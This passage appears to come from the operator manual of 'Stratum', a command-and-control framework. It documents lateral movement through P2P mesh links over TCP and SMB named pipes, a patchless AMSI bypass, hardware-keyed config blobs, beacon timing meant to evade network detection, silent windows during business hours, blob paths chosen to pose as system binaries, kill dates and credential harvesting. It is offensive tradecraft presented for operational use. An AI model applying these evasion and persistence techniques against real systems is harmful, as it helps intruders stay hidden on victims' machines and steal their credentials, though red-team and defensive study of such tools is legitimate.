/script | Win+Linux | None | Interpreter process | Medium | Stdin pipe — clean cmd line. Win: AMSI + Script Block Logging inspect content |
/script-amsibypass | Win (PS) | None | powershell.exe | Low-Medium | HW breakpoint (DR0) + VEH — patchless, no VirtualProtect on amsi.dll. SBL 4104 still captures script content if Script Block Logging enabled |
6.8 Lateral Movement — P2P Mesh
Agents can form a peer-to-peer mesh network where traffic is relayed through parent nodes back to the C2 server. This enables communication with agents that cannot reach the cloud directly (air-gapped segments, internal VLANs). Two transport types are supported: TCP and SMB named pipes.
stratum.P2P Transport Matrix
| Transport | Listener Platform | Client Platform | Default Port/Pipe | Use Case |
|---|---|---|---|---|
| TCP | Linux + Windows | Linux + Windows | Any port | General mesh, cross-platform |
| SMB | Windows only | Linux + Windows | \\.\pipe\stratum | Blend with SMB traffic, named-pipe covert channel |
WebUI — Graph View
The Graph button in the top toolbar toggles the P2P topology visualizer. It replaces the session table with an interactive force-directed graph that renders every agent as a node and every P2P link as an edge.
- Node types — each session is drawn as a circle. A green ring indicates an alive session, amber for idle, grey for dead. The node label shows the session ID and hostname.
- Edge types — TCP links are drawn as solid lines, SMB links as dashed lines, and cloud (dead-drop) links as dotted lines. Each edge is color-coded by transport.
- Tooltip — hovering a node displays session details: user, host, OS, internal/external IP, provider, and P2P role (parent/child/standalone).
- Legend — a collapsible legend in the top-left corner maps colors and line styles to transport types and node states.
- Empty state — when no P2P links exist, the graph area displays an informational message with a quick-start guide for establishing the first mesh link.
6.9 Lateral Movement — Jump Modules
Jump modules combine deployment and P2P linking into a single command. Deploy a new agent on a remote target and automatically establish a P2P link back to the current agent.
link= option controls the transport: tcp (default) or smb. The platform= option selects the agent binary: linux or windows (auto-detected from the target OS if omitted).
7Advanced Topics
7.1 Cold Restart and the HW-Keyed Blob (ddb)
In staged-enc and stageless-enc modes, the agent writes a hardware-keyed blob (ddb cache) to disk after its first successful run. This blob stores the decrypted C2 configuration encrypted under a key derived entirely from local machine hardware:
# hw_key derivation (all platforms):
hw_key = SHA-256(MachineGuid + MAC_address + SALT) # 32-byte deterministic key
# Blob format (Linux / bash stub):
AES-256-CBC(config_string, hw_key) → .stratum_ddb # OpenSSL PBKDF2, 210 000 iter
# Blob format (Windows / DPAPI):
DPAPI(config_bytes) → stratum_ddb.dat # user-bound, machine-bound
On every subsequent restart, the stub checks for the ddb blob before attempting any cloud fetch. If the blob decrypts cleanly, the agent boots instantly with no network traffic — the cloud folder is not accessed at all. This means:
- Cold restarts after reboot are fast and silent — no cloud round-trip
- The agent survives even if stage2.enc has already been deleted from cloud (as it will be after first heartbeat in staged-enc mode)
- The blob is machine-bound — copying it to a different host decrypts to garbage
/blobsave from the session REPL while the agent is active. This forces the agent to re-write the blob immediately, restoring cold-restart capability without any cloud interaction.
7.2 Sleep & Jitter Tuning
The sleep interval and jitter percentage determine the agent's network fingerprint. The native Rust agent draws beacon intervals from a log-normal distribution parameterized by the configured sleep and jitter values. Unlike uniform jitter (which creates a rectangular timing distribution easily identified in PCAP), log-normal produces a long-tailed distribution that mimics legitimate application polling patterns. Finding the right balance between responsiveness and stealth depends on the target environment:
| Scenario | Recommended Sleep | Jitter | Rationale |
|---|---|---|---|
| Active engagement (operator present) | 30–60s | 15–20% | Reasonable responsiveness, low timing regularity |
| Long-haul persistence (unattended) | 120–300s | 20–35% | Minimal network footprint, high timing irregularity |
| Ultra-low-profile (hostile IR ongoing) | 600–1800s | 30–50% | Commands take 10–30 min to arrive; virtually no network signature |
| Testing / lab | 10–15s | 5% | Fast iteration; not suitable for production |
Change sleep and jitter live without redeploying:
/sleep 300 # change to 5-minute interval
/jitter 30 # ±30% = actual interval 210–390s
7.3 Maintenance Windows
A maintenance window defines a time range during which the agent will not beacon. This is useful for suppressing activity during business hours when network monitoring is more likely. Outside the window, the agent operates normally.
Maintenance windows are configured at deploy time in the wizard (Step 3). They cannot be changed post-deployment without redeployment. The time range is evaluated against the target system's local time, not the server's timezone.
# Example: agent only active between midnight and 6am
Window: 00:00 → 06:00
# Outside the window: agent beacons normally
# Inside the window: agent skips all beacon cycles, stays silent
08:00 → 18:00 suppresses activity during the target's business day.
7.4 Kill Date
A kill date is a YYYY-MM-DD date baked into the agent at compile/deploy time. On or after that date, every agent — Rust native, bash, and PowerShell — performs a full self-destruct sequence at the start of its next beacon cycle:
- Removes all installed persistence techniques (scheduled tasks, registry keys, cron entries, systemd units, startup folder entries)
- Wipes and deletes the local hw-keyed blob (ddb file on disk)
- Deletes its own binary from disk
- Exits the process
The kill date is optional — leaving the field empty disables the feature entirely. It is configured in the Deploy Wizard under Kill Date (in the Guardrails section, alongside Window Start/End). It cannot be changed post-deployment without redeployment.
# Wizard field (Step 3 — Guardrails):
Kill date: 2026-12-31
# Agent check logic (each cycle, before heartbeat):
if today >= kill_date:
persist_remove_all()
delete blob
delete self
exit
/kill command.
unlink while open is safe on Unix — the inode persists until the process exits but the directory entry is removed). On Windows, DeleteFile on the running executable typically fails; the binary is left on disk as an orphaned file with no persistence mechanism pointing to it — effectively inert.
7.5 Blob Management
In persistence techniques that install a binary (scheduled task, service, registry), the agent copies itself to a target disk path — the blob path. This path is configured at deploy time (Blob Path field in the wizard, Step 3). The blob is tracked in the session artifact log.
The blob path should mimic a legitimate system binary location:
# Good blob paths (blend with legitimate software)
C:\Users\%USERNAME%\AppData\Local\Microsoft\SystemUpdateHelper\
C:\Windows\System32\DriverStore\FileRepository\ (requires admin)
/usr/lib/systemservices/updatehelper (requires root)
~/.local/lib/python3.10/site-packages/utils/ (user-priv)
# Avoid obvious paths
/tmp/agent — cleaned on reboot, obvious location
C:\Temp\ — suspicious, frequently audited
The /kill command removes the blob along with all other tracked artifacts. The blob is also automatically removed when a persistence technique is individually removed via /persist remove <id>.
7.6 Credential Profiles
Each cloud provider can store multiple credential profiles. This allows maintaining several independent cloud accounts for the same provider — useful for operational segmentation (different missions use different accounts) or redundancy.
Manage profiles via the Credentials section of the WebGUI (accessible from the user menu → Credential Profiles) or via the REST API:
# List profiles for a provider
GET /api/v1/credentials/dropbox
# Save a new profile
POST /api/v1/credentials/dropbox
{"app_key":"...","app_secret":"...","refresh_token":"...","label":"ops-2026"}
# Delete a profile
DELETE /api/v1/credentials/dropbox/{profile_id}
Credential profiles are stored in credentials/{provider}.json, managed by the Deploy Wizard and WebGUI. Back up this file separately — it is not part of the server's exported data.
7.7 Auto-Update System
Stratum checks GitHub for new releases once at server startup. If a newer version is available, operators see an amber banner in the topbar after login. Clicking the banner opens a modal with release notes and an "Update Now" button.
Configuration
# server.yml
auto_update:
enabled: true
repo: "OWNER/stratum-c2" # GitHub owner/repo
Set enabled: false or leave repo empty to disable the check entirely.
Update Process
- Preflight — verifies git is installed, the project is a git repository, and checks working tree status
- Fetch & merge — runs
git fetch origin main+git merge origin/main --no-edit - Dependencies — if
requirements.txtchanged, runspip install -r requirements.txt - Notification — broadcasts result to all connected operators via WebSocket
Data Safety
All operational data is in .gitignore and never touched by git merge:
sessions/— session profiles and statekeys/— RSA keypairslogs/— command history and chat logscredentials/— provider credential profilesserver.yml— server configurationcerts/— TLS certificates
On merge conflict, the update aborts cleanly via git merge --abort — no damage. Restart is always the operator's choice.
REST Endpoints
GET /api/v1/update/status # current update state
GET /api/v1/update/preflight # pre-flight checks
POST /api/v1/update/apply # apply update
POST /api/v1/update/check # force re-check
7.8 Agent Version Mismatch
Each agent records the Stratum version it was deployed with (SessionProfile.stratum_version). When viewing a session deployed with an older version, the WebUI shows:
- An amber badge ("⚠ Agent outdated") in the session header
- A warning cell ("Deployed With: ⚠ vX.Y.Z") in the Info tab under Guardrails
Old sessions without the field (pre-v2.0) default to an empty string — no warning is shown. The warning is informational only; it does not block any operations.
7.9 Context Menus
Right-clicking on specific areas of the WebGUI opens a context menu with quick actions (similar to Cobalt Strike's beacon context menu). The browser's default menu is preserved for areas without custom menus.
Zones
| Zone | Actions |
|---|---|
| Session table row | Interact, Lock/Unlock Session, /sysinfo, /status, /sleep, /jitter, /persist probe, /creds harvest, Copy (ID, IP, Host), /kill, /stop, Delete |
| Shell output | Copy Selection, Copy All Output, Clear Shell, Select All |
| Session header | Copy Session ID, Copy Folder Path, Copy Internal/External IP |
| Topbar | About, Check for Updates |
7.10 Session Lock
Sessions can be locked to prevent accidental destructive operations during an engagement. A locked session cannot be killed, stopped, deleted, or wiped — by any operator.
How to use
- Right-click a session row → Lock Session (or Unlock Session to release)
- A 🔒 badge appears next to the status pill in the session list
- A blue 🔒 Locked badge appears in the session detail header
- The Info tab shows a "Lock" row when the session is locked
What is blocked
| Action | Blocked when locked |
|---|---|
/kill | Yes — server returns HTTP 423 |
/stop (EXIT) | Yes — server returns HTTP 423 |
| Delete Session | Yes — server returns HTTP 423 |
| Wipe Session | Yes — server returns HTTP 423 |
/sysinfo, /creds, shell commands | No — normal operations continue |
Persistence
Lock state is stored in the session profile JSON (sessions/{id}.json) and survives server reboots. All operators see lock/unlock events in real-time via WebSocket broadcast.